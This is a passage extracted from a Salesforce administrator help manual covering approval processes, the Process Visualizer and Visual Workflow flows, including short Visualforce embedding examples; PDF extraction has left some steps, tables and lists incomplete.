use the template for any other email alert actionin either workflow rules or approval processesthe merge fields
will return a null value.
7. Select Add Approval History Related List... to update all the page layouts for this object to include a related
list that allows users to submit approval requests and track them.
8. If only certain types of records should enter this approval process, do one of the following:
Select criteria are met if you want to set a filter criteria that a record must meet to enter this approval process.
For example, if only employees from headquarters should use this approval process to submit expense reports, enter
the following filter criteria: Current User: Office Location Equals Headquarters. For more information on using filter
criteria, see Entering Filter Criteria on page 2961.
a. Enter filter criteria for records that you want included in this approval process. Leave the filter blank if you want
all records submitted to be included in the approval process. For information on using filter criteria, see Entering
Filter Criteria on page 2961.
Note: Select a current user field if you want to filter based on the user submitting an approval request.
b. Click Next. If you are editing an existing approval process and don't want to make further changes, click Save to
store your changes.
Select formula evaluates to true if you want a formula to determine what records enter the approval process.
a. Enter a formula that returns True or False. A record enters the approval process if the formula returns True.
For example, use the following formula to require a record to enter this approval process when the record's discount
approval cutoff date is less than 30 days away:
(Discount_Approval_CutoffDate__c < (CloseDate - 30)
b. Click Next. If you are editing an existing approval process and don't want to make further changes, click Save to
store your changes.
For information on using formulas, see Building Formulas on page 1147. Some functions are not available in approval
process formulas. For information on which functions you can use in approval process formulas, see Operators and
Functions on page 1203.
9. Select the assigned approver(s) for approval requests created by this step. The assigned approvers are the users or members
of a queue responsible for approving records that enter this step. The options are:
Let the submitter choose the approver manually.
1863
Create
Assigns the approval request to a particular queue. Queues are only available on specific objects. For more information
on queues, see Managing Queues on page 595. For more information on approval requests assigned to queues, see
Approval Process Considerations on page 1835.
Automatically assign to approver(s).
A user specified in any user lookup field on the submitted record, such as the Last Modified By field.
Use Add Row and Remove Row to change the number of approvers. There is a limit of 25 approvers per step.
Note: When specifying approvers, note the following:
Make sure the assigned approvers have permission to read the records for the approval request. For example,
a user who does not have read access to an Expense custom object can't view expense approval requests.
You can't assign approval requests to partner users.
To use email approval response:
The assigned approver cant be a queue.
Approvers must have the API Enabled system permission to approve or reject approval requests via email.
You can assign an approval request to the same user multiple times in a single step; however, Salesforce recognizes
such redundancies and only requests a single approval from the user.
After a record enters an approval step, the designated approvers for that step don't change even if the approval
process returns to that step and the values of related user fields that designate the approvers have changed. For
example, consider an approval process in which the first step requests approval from a user's manager. If the
approval request is rejected in the second step and sent back to the first step, the user's original manager receives
the approval request again even if the user's manager has changed.
10. If you specify multiple approvers in the Automatically assign to approver(s) option, choose one of the following:
Approve or reject based on the first response.
The first response to the approval request determines whether the record is approved or rejected.
Require unanimous approval from all selected approvers.
The record is only approved if all of the approvers approve the request. The approval request is rejected if any of the
approvers reject the request.
11. Click Save to return to the Approval Process Detail page.
12. Select approval actions. For more information, see Selecting Approval Actions on page 1854.
13. When you are ready to use the approval process, activate it:
a. Click Your Name > Setup > Create > Workflow & Approvals > Approval Processes.
1864
Create
See Also:
Choosing an Approval Process Wizard
Creating Approval Processes
Examples of Approval Processes
Process Visualizer Overview
Customize Application
The jump start wizard automates creating an approval process by automatically choosing some default options for you. When
you use the jump start wizard, your approval process will have the following attributes:
Users must have the Modify All object-level permission for the given object, or the Modify All Data permission, to
edit records that are awaiting approval in the approval process.
The approval request page layout displays the record name (or number), owner, date created, and approval history.
The security settings prevent an approver from accessing the approval page externally from a wireless-enabled mobile
device.
The owner of a record is the only person who can submit an approval request.
Records are locked when submitted for approval.
Records remain locked until approved or rejected.
Rejected records are unlocked.
Only administrators can recall a record after it is submitted for approval.
There are no auto-approve or auto-reject actions.
No email notification is sent upon approval or rejection.
No field values are automatically updated during the approval process.
An approver cannot automatically delegate another user to approve his or her approval requests.
The Allow submitters to recall approval requests option is not selected.
After creating an approval process using the jump start wizard, you can change any of the above attributes by clicking Edit
from any approval process list page, and you can add additional steps from the approval process detail page. However, you
cannot edit the Record Lock action on the Initial Submission Actions list.
1865
Create
Use the Process Visualizer to display a graphical version of an approval process. The view-only diagram is presented as a
flowchart. The diagram and informational sidebar can help you visualize and understand the defined steps, rule criteria, and
actions that comprise your approval process.
See Also:
Using the Approval Process Jump Start Wizard
Choosing an Approval Process Wizard
API Enabled
Your administrator can set up an approval process that lets you submit records for approval. Depending on the approval process
settings, records may need to have specific attributes before you can submit them. Also, a single record may need to go through
several layers of approval.
Depending on the approval process settings, you can submit, recall, reassign, approve, or reject approval requests using the
Approval History related list on a record detail page. For more information; see Approval History on page 1868.
You can also manage your assigned approval requests from the Items To Approve related list on the Home tab. See Items to
Approve on page 1867.
Note: You must have read access on a record to approve, reject, reassign, or recall an approval request for that record.
1866
Create
Approval request comments are limited to 4,000 characters. In Chinese, Japanese, or Korean, the limit is 1,333
characters.
If the word in your response isnt recognized, you receive an error notification email. To submit another response,
reply again to the original email notification. Replies to the error notification email wont be processed.
See Also:
Approval Process Terminology
Approval Processes Overview
Managing Multiple Approval Requests
Process Visualizer Overview
Items to Approve
Available in: Enterprise, Unlimited, and Developer Editions
The Items to Approve related list tracks the open approval requests assigned to you. If your administrator has created an
approval process for your organization, you may see this related list on your home page. Depending on the approval process
settings, you can:
1867
Create
Note: You must have read access on a record to approve, reject, reassign, or recall an approval request for that
record.
Click Manage All to manage all of your assigned approval requests. Next, select approval requests by checking the appropriate
boxes. Optionally, check the box in the column header to select all currently displayed items.
Click Reassign to assign the selected approval requests to another user, choose the user, enter any comments, and click
Save.
Click Approve / Reject to display the approval request detail page and click Approve or Reject to approve or reject
all selected approval requests at once.
Note: You must have read access on a record to approve, reject, reassign, or recall an approval request for that record.
See Also:
Processing Approval Requests
Approval Process Terminology
Approval Processes Overview
Managing Multiple Approval Requests
Approval History
Available in: Enterprise, Unlimited, and Developer Editions
The Approval History related list tracks a record through the approval process. If an approval process exists for an object, you
may see this related list on a record detail page. Depending on the approval process settings, use this related list for the following:
To submit a record for approval, click Submit for Approval. Salesforce begins the approval process if any approval processes
apply to the record. This option is not available after the record has been submitted. Depending on the approval process,
you may be prompted to select the next approver.
To take a record out of the approval process, click Recall Approval Request. This is only available if the record is in an
approval process. If the Allow submitters to recall approval requests option is selected for the approval process, both
submitters and administrators can see the Recall Approval Request button in the Approval History related list on the
detail page of submitted records; otherwise, only administrators can see it. When a user clicks Recall Approval Request,
the pending approval request for the record is withdrawn and recall actions are run. For more information, see Recall
Actions on page 1853.
To assign the approval request to another user, click Reassign next to an item.
1868
Create
To display the approval request detail page and approve or reject a pending approval request, click Approve / Reject next
to an item.
Note: You must have read access on a record to approve, reject, reassign, or recall an approval request for that
record.
Depending on how your administrator customizes the Approval History related list, it can contain the following Status
values:
Status
Definition
Submitted
Pending
Approved
Rejected
Reassigned
Recalled
The record was submitted for approval but recalled from the
approval process.
Before you can submit a record for approval, it must meet the criteria for an active approval process. Contact your administrator
to find out about the attributes a record must have to be included in an active approval process for your organization.
See Also:
Processing Approval Requests
Approval Process Terminology
Approval Processes Overview
Process Visualizer Overview
1869
Create
Share approval process diagrams by saving annotated versions as PDF files (requires an Adobe PDF print driver)
Help you quickly locate key details by searching multi-step or complex diagrams for matching text
Help you visualize and understand graphically:
See Also:
Launching the Process Visualizer
Understanding the Process Visualizer User Interface
Understanding the Process Visualizer Notation
Getting Started with Approval Processes
Enable or download the Adobe Flash Player plugin, version 9.0.115 or later, in your browser
Have at least one approval process defined in your organization
See Also:
Understanding the Process Visualizer User Interface
Understanding the Process Visualizer Notation
Process Visualizer Overview
1870
Create
1871
Create
2.
3.
4.
5.
6.
7.
8.
of the diagram. Record processing moves down the flowchart until the final approval or rejection. Each flowchart component
uses a shape, an icon, or both to represent the type of processing that may happen.
The diagram's legend summarizes the icons. When you first use the Process Visualizer, the legend is hidden. To display
the legend, click Show Legend. When you subsequently open other diagrams, the Process Visualizer remembers your last
setting (shown or hidden).
The banner has a find box so you can find matching text within the approval diagram. Use the Previous and Next buttons
to scroll through your matches.
Next to the diagram is an informational sidebar. The top pane in the sidebar presents the Approval Process Properties,
which is collapsed by default. The Approval Process Properties pane lists information such as the name of the approval
and whether it has been activated. Expand the pane by clicking the arrow icon.
The bottom pane of the sidebar contains the hover details, which lists information about the currently selected component
on the diagram. You can hover over or click a component to view its details.
In the lower right of the diagram pane is a navigator window. Drag the pane within the navigator to view different parts
of the diagram.
In the upper left of the diagram pane is a zoom slider. Use it to zoom in and out of your process diagram.
In the left side of the banner, use the buttons to get a printable view of the diagram, to refresh the diagram, or to hide or
show the legend and navigator.
Approval steps
Description:
Field updates
Email alerts
Tasks
1872
Create
Component Type
Outbound messages
Description
Process Name
Entry Criteria?
Appears only when there are no entry criteria for the process,
displaying with a No value.
Active?
Description
Record Editability
The name of the template used for email alerts. For example:
Leads: New assignment notification (SAMPLE)
Initial Submitters
Shows the defined value for this property. For example: Record
Owner
Created By
Modified By
1873
Create
Use the find filters to limit results to a specific parameter: Approval Steps, Tasks, Email Alerts, Field Updates, and Outbound
Messages. Click the arrow next to the Find field to select a filter. For example, to find all tasks for Jane Smith, click the
arrow next to the Find field, select Tasks, then enter Jane Smith.
Note: All is the only filter that includes Approval Process Properties, Entry Criteria, and Go Back steps in its search
parameters. If you select a filter but don't enter any text, all instances of that filter item are highlighted in the diagram
and navigation pane.
Refreshing an Approval Process Diagram
Each approval process diagram is for viewing purposes only. You cannot update an approval process from the Process Visualizer.
After saving your changes to the approval process, click View Diagram to view the updates or, if the Process Visualizer window
is still open, click Refresh.
Changing an Approval Process Diagram's Zoom Level
Use the zoom slider in the upper left to change the diagram's size. Click + to zoom in, and to zoom out, or drag the slider
tab up and down the bar. This feature is especially helpful when you are viewing large, complex approval processes in the
Process Visualizer.
Note: The zoom feature is only visible for diagrams that exceed the dimensions of the display window.
See Also:
Launching the Process Visualizer
Understanding the Process Visualizer Notation
Process Visualizer Overview
The Process Visualizer uses the following notation to graphically represent each approval process. The shapes are based on
the Business Process Modeling Notation (BPMN) standard. In the Process Visualizer, a shape's color changes from gray to
blue when you hover over or click it.
1874
Create
Description
Near the top of the diagram, a Start circle indicates the beginning of the approval process.
If defined, an Entry Criteria diamond precedes the Start circle. When you hover over
or click Entry Criteria, the Process Visualizer displays the entry criteria in the sidebar's
hover details pane. For example, an approval process for a lead is triggered when
Lead.AnnualRevenue >= 10000. The arrow below the Start circle leads to the next
criteria in the approval process. If a recall action was defined for the entry criteria, a line to
the right connects to the Final Recall Actions rectangle.
The rectangle labeled Initial Submission Actions represents any actions you defined
in initial submission. At a minimum, this element shows the record lock set automatically
by Salesforce to prevent updates by other users. Later during the approval process, after the
record is approved, rejected, or recalled, the record is unlocked.
A diamond with Yes or No branches represents the numbered step's criteria or formula that
is evaluated before proceeding. Hover over or click the diamond to see the criteria or formula
in the sidebar's hover details. For example, the criteria could be used to determine whether
the Lead.Rating = Hot. If true, the approval process continues to the next step on the
Yes branch. If false, the approval process continues to the next step on the No branch.
1875
Create
Description
A rectangle without a human icon or a plus sign represents a single action. The action types
and icons are:
Start a task:
When you hover over or click a shape on the diagram, and it is part of a step, all the elements
that comprise the step use a glowing background color. This visual clue helps you locate all
the decisions and actions that comprise each step, and how the processing may branch based
on the record's values.
1876
Create
Description
In the approval process definition, if the option was enabled to perform only the rejection
actions for this step and send the approval request back to the most recent approver. (go back
one step), the diagram displays a Go Back circle. When you hover over or click the Go Back
circle, the hover details pane displays a message. For example:
On rejection send the request back to any one of the following
steps, depending on the most recent approver: - list-of-steps. If
no approvers are found, the request goes to Final Rejection.
The identified steps depend on where in the approval process the Go Back was defined. The
possible steps are highlighted when you hover over the Go Back circle. In the diagram, the
Process Visualizer displays the Go Back circle only for a step where its preceding step is
defined as a skip.
The Final Approval Actions rectangle leads to a circle labeled Approved, as shown
here. The Final Rejection Actions rectangle leads to a circle labeled Rejected. If
a recall action was defined, the Final Recall Actions rectangle shows that the record
is now unlocked, and the arrow leads to a circle labeled Recalled.
See Also:
Launching the Process Visualizer
Understanding the Process Visualizer User Interface
Process Visualizer Overview
1877
Force.com Flows
FORCE.COM FLOWS
About Visual Workflow
Available in: Enterprise, Unlimited, and Developer Editions
To run a flow as a user directly from the flow URL, or from Run Flows
a custom Web tab, link, or button pointing to the flow URL:
OR
Force.com Flow User field enabled on the user detail page
To run a flow from the flow detail page, list page, or from
Manage Force.com Flow
within the Cloud Flow Designer, or to run an inactive flow:
Visual Workflow allows administrators to build applications, known as flows, that step users through screens for collecting
and updating data. For example, you can use Visual Workflow to script calls for a customer support center or to generate
real-time quotes for a sales organization.
Visual Workflow has three different aspects: flow design, flow management, and runtime. As an administrator, you create the
flows using the Flow Designer, which has a drag-and-drop user interface that lets you diagram flow structure and configure
how it runs, without writing any code. Once you create a flow, you can manage it in Salesforce, edit its properties, activate,
deactivate, delete, or run it at will. Flow users can then run the activated flow from a custom button, tab, link, or directly from
the flow URL.
To get started using flows, click Your Name > Setup > Create > Workflow & Approvals > Flows. From the list page, you
can:
1878
Create
See Also:
Adding a Flow to a Visualforce Page
Putting Flows to Work
Flow Limits
Visual Workflow Accessibility Overview
Running Flows
Managing Your Flows
1879
Create
Give users access to the flow URL, either directly or through a custom button, link or web tab
Use this method when the people wholl be using your flow are all users in your organization and you dont need to
customize its look and feel.
You can find the direct URL of a flow on its detail page at Your Name > Setup > Create > Workflow & Approvals >
Flows. Include the namespace prefix in the flow URL when pointing users to a flow installed from a managed package.
If the flow contains subflow elements and you want to call the latest version of each referenced flow, append
?latestSub=true to the URL.
Users running flows this way must have the Run Flows permission or have Force.com Flow User enabled on their
user detail page. For more information, see User Fields on page 32.
See Also:
Setting Flow Finish Behavior
Managing Force.com Site Visualforce Pages
Creating Web Tabs
Custom Links
Force.com Sites Overview
Setting Up Your Customer Portal
Creating Partner Portals
To run a flow as a user directly from the flow URL, or from Run Flows
a custom Web tab, link, or button pointing to the flow URL:
OR
Force.com Flow User field enabled on the user detail page
To run a flow from the flow detail page, list page, or from
Manage Force.com Flow
within the Cloud Flow Designer, or to run an inactive flow:
You can have several different versions of a single flow in Salesforce, but only one version of each flow can be active at a time.
To manage a flow, go to Your Name > Setup > Create > Workflow & Approvals > Flows and click a flow name.
On the flow detail page you can:
View a list of all versions of the flows that youve uploaded. By default, flow versions are sorted by Created Date.
1880
Create
Open a flow or flow version created in the Cloud Flow Designer. Only users with the Manage Force.com Flow permission
can open flows.
Important: The Cloud Flow Designer cant open flows created in the desktop Flow Designer. The reverse is also
true.
Click the Open button to open the active version of the flow. If there is no version of the flow activated, Open launches
the latest version.
Click the Open link in the Flow Versions list to open a specific version of the flow.
Note: You cant make direct changes to an active flow. If you open an active version of a flow, you can make
edits, but you cant save those edits unless you save as either a new flow or new flow version.
1881
Create
See Also:
About Visual Workflow
Uploading a New Flow or Flow Version
Custom Links
Creating Web Tabs
Flow Limits
Running Flows
To run a flow as a user directly from the flow URL, or from Run Flows
a custom Web tab, link, or button pointing to the flow URL:
OR
Force.com Flow User field enabled on the user detail page
To run a flow from the flow detail page, list page, or from
Manage Force.com Flow
within the Cloud Flow Designer, or to run an inactive flow:
The name and description of a flow in Salesforce make up the flow properties. The properties of a flow and its flow versions
are separate. Depending on which Flow Designer you used to create the flow, you can change this information in different
ways.
Note: If you created your flow using the desktop Flow Designer, upon upload of a new flow file, its name and
description in Salesforce are taken from the name and description fields within the file.
On the flow list page, click Edit next to a flow name. To go to the flow list page, click Your Name > Setup > Create >
Workflow & Approvals > Flows.
On the flow detail page, click the Edit button.
If you haven't yet edited the flow properties in Salesforce, the name and description field contents can fluctuate. Here's how:
1882
Create
If you haven't edited the name and description, and you activate a version of your flow, the name and description fields
update to reflect those of the active version.
If you haven't edited the name and description, and there is no version activated, the flow name and description reflect
those of the most recently-uploaded version, if your flow was created in the desktop Flow Designer.
Important: Once you edit the name and description of your flow in Salesforce, those fields no longer automatically
update when you upload or activate a new version.
See Also:
Uploading a New Flow or Flow Version
About Visual Workflow
About the Flow Designer
The upload feature is supported only for flows created in the desktop Flow Designer, and is the same whether you're uploading
a whole new flow or just a new flow version. How does Salesforce know which is which?
1883
Create
When you upload a flow file, Salesforce looks at the Unique Name within the flow properties and does a match for it against
any other flows in your organization. If there's a match, the file uploads as a new version of the flow it was matched with. If
there's no unique name match, the file uploads as a new flow. You can find the unique name of a flow on its flow detail page.
Tip: If you need to upload both a flow and its subflow, upload the subflow first, then the main flow.
You can continue to upload new versions of a flow even if it has an active version.
To upload a new flow file, go to Your Name > Setup > Create > Workflow & Approvals > Flows.
1.
2.
3.
4.
Salesforce validates flows upon upload, and may give you warnings or errors if your flow contains deprecated elements, invalid
field formats or data types, or unsupported components. If you have flows in Salesforce that were uploaded in previous releases,
their format may not be compatible with changes made in the current release. To ensure that all your flows are up-to-date
and will run properly, download the latest version of the Flow Designer from the flow list page, open the original flow files,
clean up their contents based on any errors you get, then save them and re-upload. You may have to do this more than once
if you receive any new errors upon re-uploading the flow.
Important: Only files with the .flow extension can be uploaded into Salesforce. To convert .spark files into
.flow files, download the latest version of the Flow Designer from the flow list page, open your file, and save it with
the .flow extension.
See Also:
About Visual Workflow
Managing Your Flows
Flow Limits
To customize a flow's look and feel or enhance its functionality you can embed it as a component in a Visualforce page. If
your organization has flows enabled for sites and portals, you can then deliver the flow to your Force.com site, Customer
Portal, or partner portal users.
1884
Create
Note: Users can only run flows that have an active version. If the flow you embed doesn't have an active version, users
see an error message. If the flow you embed includes a subflow element, the flow that is referenced and called by the
subflow element must have an active version.
To add a flow to a Visualforce page, embed it using the <flow:interview> component:
1. Find the flow's unique name:
a. Go to the flow list page at Your Name > Setup > Create > Workflow & Approvals > Flows.
b. Click the name of the flow you want to embed.
2. Define a new Visualforce page or open one that you want to edit.
3. Add the <flow:interview> component, somewhere between the <apex:page> tags.
4. Set the name attribute to the unique name of the flow. For example:
<apex:page>
<flow:interview name="MyUniqueFlowName"/>
</apex:page>
Note: If the flow is from a managed package, then the name attribute must be in this format:
namespace.flowuniquename.
5. Restrict which users can run the flow by setting the page security for the Visualforce page that contains it.
If the Visualforce page containing the flow is delivered externally to site or portal users, any of those users with access to
the Visualforce page can run the embedded flow.
If the Visualforce page containing the flow is delivered to users within your organization through a custom Web tab, link,
or button, users must have access to the page. They must also have the Run Flows permission or have the Force.com
Flow User field enabled on their user detail page.
In addition to the other flow customizations available with Visualforce, you can also shape what happens when a user clicks
Finish on the final screen. For a simple example, see Setting Flow Finish Behavior on page 1885.
For more examples of using flows in Visualforce, including how to customize the runtime user interface or make a flow interact
with other components on the page, see the Visualforce Developer's Guide.
See Also:
About Visual Workflow
Flow Limits
Managing Force.com Site Visualforce Pages
Because flows are rendered using Visualforce, you can use the finishLocation attribute to redirect users to another screen
in Salesforce when they click Finish.
1885
Create
Note:
If finishLocation isn't specified, users that click Finish are routed back to the first screen of the flow.
If you use a standard controller to display a record on the same page as the flow, users that click Finish are routed
back to the first screen of the flow, without the record. This is because the id query string parameter isnt preserved
in the page URL. If needed, configure the finishLocation to route users back to the record.
You can't redirect flow users to a URL thats external to your Salesforce organization.
Embed the flow as a component in a Visualforce page and configure finishLocation manually.
Here's a simple example, using the URLFOR function. You can use URLFOR to:
Route users to a relative URL, such as the Salesforce home page.
<apex:page>
<flow:interview name="flowname" finishLocation="{!URLFOR('/home/home.jsp')}"/>
</apex:page>
Route users to a specific record or detail page using its ID. For example, if you wanted to route users to a detail page
with an ID of 001D000000IpE9X:
<apex:page>
<flow:interview name="flowname" finishLocation="{!URLFOR('/001D000000IpE9X')}"/>
</apex:page>
For more examples, see "Configuring the finishLocation Attribute in a Flow" in the Visualforce Developer's Guide.
Note:
If you deliver a flow to your users from a custom button, link, or Web tab that points to the flow URL, we
recommend against using retURL in the URL path to redirect them. Using retURL can cause the destination
page you specify to be rendered with top and side navigation bars nested within the existing Salesforce top and
side navigation bars.
You can't redirect flow users to a URL thats external to your Salesforce organization.
See Also:
Adding a Flow to a Visualforce Page
Editing Flow Properties
1886
Create
Running Flows
Running Flows
Available in: Enterprise, Unlimited, and Developer Editions
To run a flow as a user directly from the flow URL, or from Run Flows
a custom Web tab, link, or button pointing to the flow URL:
OR
Force.com Flow User field enabled on the user detail page
To run a flow from the flow detail page, list page, or from
Manage Force.com Flow
within the Cloud Flow Designer, or to run an inactive flow:
Flows are a collection of scripted screens that you can step through to collect and update data. For example, as a support
representative in a call center, you can use flows to capture information as you help troubleshoot customer issues. Or as a
salesperson, you can use flows to generate real-time quotes. You can even use flows to manipulate your organization's data in
new ways.
Depending on how flows are set up in your organization, you can run them directly from the flow URL in your browser, or
from a custom Web tab, link, or button pointing to the URL.
If your administrator hasn't defined custom Web tabs, links, or buttons for flows, you can find the direct flow URL by going
to Your Name > Setup > Create > Workflow & Approvals > Flows and clicking on the name of the flow you want to run.
Consider the following when running flows:
Don't use your browser's Back or Forward buttons to navigate through a flow. This may result in inconsistent data between
the flow and Salesforce.
A single flow may have up to 50 different versions. When you run a flow, you see the active version, which may not
necessarily be the latest version.
Flow administrators can also run flows directly from the flow detail page.
See Also:
About Visual Workflow
Putting Flows to Work
1887
Create
Flows created in the Cloud Flow Designer can be included in both change sets and packages. The recipient organization of
either the change set or package must have Visual Workflow enabled.
About Flows in Change Sets
The Cloud Flow Designer cant open flows installed from managed packages.
You cant delete a flow from an installed package. To remove a packaged flow from your organization, you must first
deactivate it, wait 12 hours, then uninstall the package.
1888
Create
Flow Limits
In a development organization, you cant delete a flow or flow version once youve uploaded it to a released or beta managed
package.
You cant delete flow components from Managed - Beta package installations in development organizations.
Flows cant be included in package patches.
If you have multiple versions of a flow installed from multiple unmanaged packages, you cant remove only one version by
uninstalling its package. Uninstalling a packagemanaged or unmanagedthat contains a single version of the flow
removes the entire flow, including all versions.
See Also:
About Visual Workflow
Overview of Packages
Flow Limits
Available in: Enterprise, Unlimited, and Developer Editions
50
2000
500
1000
3 MB
If you exceed your organization's site usage limits or Visualforce usage limits, you can't run flows.
See Also:
About Visual Workflow
Clicking the next or previous buttons doesn't change the title of the screen, so you may not realize you're on a new page.
There are no labels on radio buttons. Screen readers can't distinguish between questions.
Questions without defined prompts may not read correctly.
1889
Create
The Cloud Flow Designer is native to Salesforce. With it, you can create new flows and manage their content directly
from the flow list and detail pages.
The legacy desktop version of the Flow Designer is a standalone application which you can download from the flow list
page and install on your computer. Flows created with this designer are saved as files which you then upload into Salesforce.
For more information about how the desktop Flow Designer works, see the desktop Flow Designer user guide.
Important: You may install and use the legacy desktop version of the Flow Designer for Visual Workflow (the
Legacy Flow Designer) during your subscription term. The Legacy Flow Designer software is delivered along with
the software programs listed in the Supplemental Terms and Conditions for Salesforce Visual Workflow. Those software
programs are licensed to you under the license terms referenced in those Supplemental Terms and Conditions and
are not deemed part of the Services for purposes of your Master Subscription Agreement.
System Requirements
To use the Cloud Flow Designer, we recommend:
Windows Internet Explorer versions 8 and 9, Google Chrome, or Mozilla Firefox. Internet Explorer 6 is not
supported.
Adobe Flash Player version 10.1 and later. The minimum version required to run the Cloud Flow Designer is 10.0.
A minimum browser resolution of 1024x768.
Note: Due to a Firefox/Adobe version compatibility issue, the Cloud Flow Designer might not work correctly if youre
running Flash Player 11 in Firefox 3.6.
See Also:
Flow Designer Elements
Flow Designer Resources
Understanding the Flow Designer User Interface
What's Supported in the Cloud Flow Designer
1890
Create
Desktop
Flow
Designer
Cloud Flow
Designer
Comments
Allocator
Y changed
Apex Plug-in
Choice
Y changed
Choice Lookup
Y not for
forms
Constant
Data Lookup
Data Source
Data Target
Data Update
Decision
Dynamic Choice
Flare
Y changed
Flow Summary
Form
Y changed
Formula
Lead Convert
Question
Y changed
Question/Choice Prompt Y
Y changed
Record Create
Known as Step in the Cloud Flow Designer. Not valid for active
flows.
1891
Create
Elements
Desktop
Flow
Designer
Cloud Flow
Designer
Comments
Record Lookup
Record Update
Record Delete
Resource
Y changed
Screen
Statement
Y changed
Step
Subflow
Text Template
Valuetable
Variable
Functionality
Desktop
Flow
Designer
Cloud Flow
Designer
Comments
Close
Convert
Y (limited)
Copy Element
Cut
Delete Element
Not in button bar, but mouse over element in the Cloud Flow
Designer and either click or press DELETE.
Dependencies for
Elements
Export flow
Flow Summary
Flow Spec
Supported Functionality
1892
Create
Functionality
Desktop
Flow
Designer
Cloud Flow
Designer
Grouping elements
Help
Open Recent
Paste
Procedure
New
Redo
Refresh
Run
Save/Save As
Select All
Send Email
Setting follow
highlightpath when
running
Setting Summary on
hover
SFDC settings
Undo
Validate
Comments
Desktop has a PDF. The Cloud Flow Designer has online help.
1893
Create
Functionality
Desktop
Flow
Designer
Cloud Flow
Designer
Comments
See Also:
About the Flow Designer
Flow Designer Elements
Flow Designer Resources
Visual Workflow allows administrators to build applications, known as flows, that step users through screens for collecting
and updating data. For example, you can use Visual Workflow to script calls for a customer support center or to generate
real-time quotes for a sales organization.
The Flow Designer user interface has several functional areas.
1894
Create
1895
Create
Close
Clicking Close from within an unsaved flow returns you to the flow list page. Clicking Close from within a saved flow
returns you to the flow detail page.
Undo (
) and Redo (
)
Undo or redo recent actions on the main canvas.
Copy (
) and Paste (
)
Copy and paste selected elements on the main canvas. Click to select a single element, or click and drag to select multiple
elements on the canvas. Once youve selected what you want to copy, click Copy (
can undo or redo a paste action, but not a copy.
). You
Note: When you copy and paste an element, the new copy has the unique name of the original, appended with
_x, where x is a number. The first copy of an element has _0 appended to its unique name, and the number
increments from there with subsequent copies of the same element.
Flow Properties (
)
Shows you information about your flow, such as its name, unique name, description, version, and created and modified
dates. You can edit the name and description of your flow any time, but you can only change its unique name when
saving it for the first time.
Main Canvas (2)
To move an element, drag it around the canvas. If the element is connected to a line, the line moves with it. You can connect
items on the canvas by clicking the node beneath the source element and dragging and dropping a line anywhere onto a target
element. To select multiple elements, either drag a square around a group or use control-click to select individual elements.
Double-click any element in the main canvas to edit it.
Explorer Tab (3)
The Explorer tab is a library of all elements and resources added to the flow. Double-click items in the list to edit them.
Single-click an item to view its details and usage in the Description pane.
Resources Tab (4)
The Resources tab lets you create new resources for your flow, like variables and constants. Once created, your new resources
show up in the Explorer tab.
Palette Tab (5)
The Palette tab lists all the element types available for your flow. Drag and drop elements from the palette onto the main
canvas. Click an element in the palette to see its description or properties in the Description pane. Once created, your new
elements show up in the Explorer tab.
Description Pane (6)
When viewing an item in the Palette or Resources tab, the Description pane shows the items description or details. When
viewing items on the Explorer tab, the Description pane includes two subtabs: Properties and Usage. The Properties subtab
1896
Create
Creating a Flow
shows you information about the element or resource you have selected, such as its label, unique name, description, and data
type. The Usage subtab shows you where the selected item is being used.
See Also:
About the Flow Designer
Editing Flow Properties
Creating a Flow
Available in: Enterprise, Unlimited, and Developer Editions
To create a flow in the Cloud Flow Designer, go to Your Name > Setup > Create > Workflow & Approvals > Flows and
click New Flow.
Tips and Tricks for Creating Flows
Have a draft flow in mind before you start creating your flow in the Cloud Flow Designer.
If you're not sure what kind of element you need for a node in your flow, use a Step element as a placeholder until you
figure it out. You can always replace it later.
If you need to delete a group of elements and connectors, you can left-click and drag to select an area containing them.
Then press DELETE to remove all of them at once.
If you're new to the Cloud Flow Designer, we recommend walking through one or more of the sample flow tutorials in the
Visual Workflow Implementation Guide. They're a great way to introduce yourself to the tool and discover how things work.
See Also:
About the Flow Designer
Managing Your Flows
After you've created a flow in the Cloud Flow Designer, you have a few options for saving it:
Initial saveWhen you save a new flow for the first time, a dialog box appears. Enter a flow name, unique name and
description. Once you save the flow, the unique name can't be changed.
1897
Create
Note: A unique name is limited to underscores and alphanumeric characters. It must be unique, begin with a
letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
Quick saveAfter you've saved a flow once, the Save button works as a quick-save, overwriting your previous work.
However, the Save button doesnt work when editing active flows. You must use Save As to save your changes as a new
version or new flow.
Save AsOnce you've saved your flow for the first time, this button is enabled, with two options:
Save as new flow opens a dialog box where you can input a new name, unique name and description, then save your
changes as an entirely new flow.
Save as new version saves the flow you're working on as a new version of the current flow. This is a useful option if
you want to make changes to a flow and keep the old configuration as a backup in case you need to refer back to it later.
Each flow can have up to 10 versions. You can update the flow name and description when you save a new version, but
not the unique name.
If you have the flow detail page open in one browser tab, then open a flow version in a new browser tab to edit it, after
saving and closing it, you must refresh the first flow detail page before you can successfully run the flow version you just
edited.
If you've changed the flow properties and for some reason the save fails, the flow properties don't revert to the previous
values.
See Also:
About the Flow Designer
Elements are the building blocks of flows. Each element represents an action, such as presenting information to, or collecting
information from, flow users, or even querying, creating, updating, and deleting information in Salesforce. By connecting
elements together in the Flow Designer, you can create a flow, which is a series of screens, inputs, and outputs through which
users navigate.
The following elements are available in the Cloud Flow Designer:
Step
Screen
Decision
Assignment
Record Create
Record Update
Record Lookup
1898
Create
Record Delete
Subflows
Apex Plug-In
Connector
Note: Every time you add an element or resource to a flow, it's also added to the Explorer Tab.
See Also:
About the Flow Designer
The Apex Plug-in element represents a piece of Apex code that you can include in a flow. It lets you call an Apex class with
the Process.Plugin interface and pass data between your organization and a flow.
When you open it, the Cloud Flow Designer discovers any Process.Plugin classes you created and displays them as elements
on the Palette. Select a plug-in on the Palette to view its tag, class name, inputs, and outputs in the Description pane. Required
inputs are listed with an asterisk (*).
Important: Before you can use an Apex Plug-in element in a flow, you must first write the Apex class that implements
the interface. Be sure your describe method is implemented correctly so the Flow Designer can pull the input and
output information. For more information about how to do that, see Using the Process.Plugin Interface in the
Force.com Apex Code Developer's Guide
To add or configure an Apex Plug-in element:
1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow.
2. From the Palette, drag an Apex Plug-in element onto the canvas. The class name and plug-in description are taken from
the plug-in code.
3. Enter a name for your new plug-in element.
4. If necessary, enter a different unique name.
Note: The requirement for uniqueness applies only to elements within the current flow. You can have two elements
with the same unique name, provided they are used in different flows. A unique name is limited to underscores
and alphanumeric characters. It must be unique, begin with a letter, not include spaces, not end with an underscore,
and not contain two consecutive underscores.
5. If you havent already added a description, click Add Description to do so.
1899
Create
Description
Target
Source
to remove
Options:
